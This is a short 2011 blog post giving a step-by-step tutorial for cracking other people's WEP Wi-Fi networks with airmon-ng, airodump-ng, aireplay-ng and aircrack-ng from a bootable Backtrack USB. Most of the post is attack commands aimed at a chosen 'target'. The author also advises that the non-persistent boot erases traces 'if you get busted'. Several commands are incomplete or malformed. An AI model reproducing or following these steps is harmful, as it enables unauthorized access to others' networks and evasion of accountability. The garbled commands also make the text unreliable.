Tuesday, April 19, 2011

How to Crack WEP

1st... There are tons of tutorials, tons of you tube.  But most seem to be long, drawn out, and incorrect.  But Here's the short version. I'll add WPA, WEP2 and maybe WPA2 later.

1st have Backtrack 4 R2, and look on their "How to" section to convert a thumb drive into a bootable devices... then obviously change your bios to allow you to boot via USB, or if you want to just make a DVD go for it.

This is great because... lets just say you get busted... its non persistent so.. power off and all is gone.  So without tons of explanation... type this in konsole.


  • airmon-ng  start wlan0
  • airodump-ng mon0
    • From here find your target, @ top shows AP's, bottom shows connected laptops, ps3 ect.(which you do need to be connected)
    • ctrl+c to stop, copy the MAC looking #, which is the (bssid)
  • airodump-ng --bssid (bssid) --channel # (the channel it was on) --ivs w (any file name) mon0
Open up a new konsole.


  • Aireplay-ng -5 -b (bssid) mon0
  • aireplay-ng -1 1 -a (bssid)
  • Aireplay-ng -3 -b (bssid) -h (your mac) *** Only need to do if having an issue
**some times you might need to switch back to the 1st konsole tracking the AP your craking, do a Ctrl+ C, and re-run the command. "airodump-ng --bssid (bssid) --channel # (the channel it was on) --ivs w (any file name) mon0" **

Final death blow...
  • aircrack-ng 

TBC, gotta run

No comments:

Post a Comment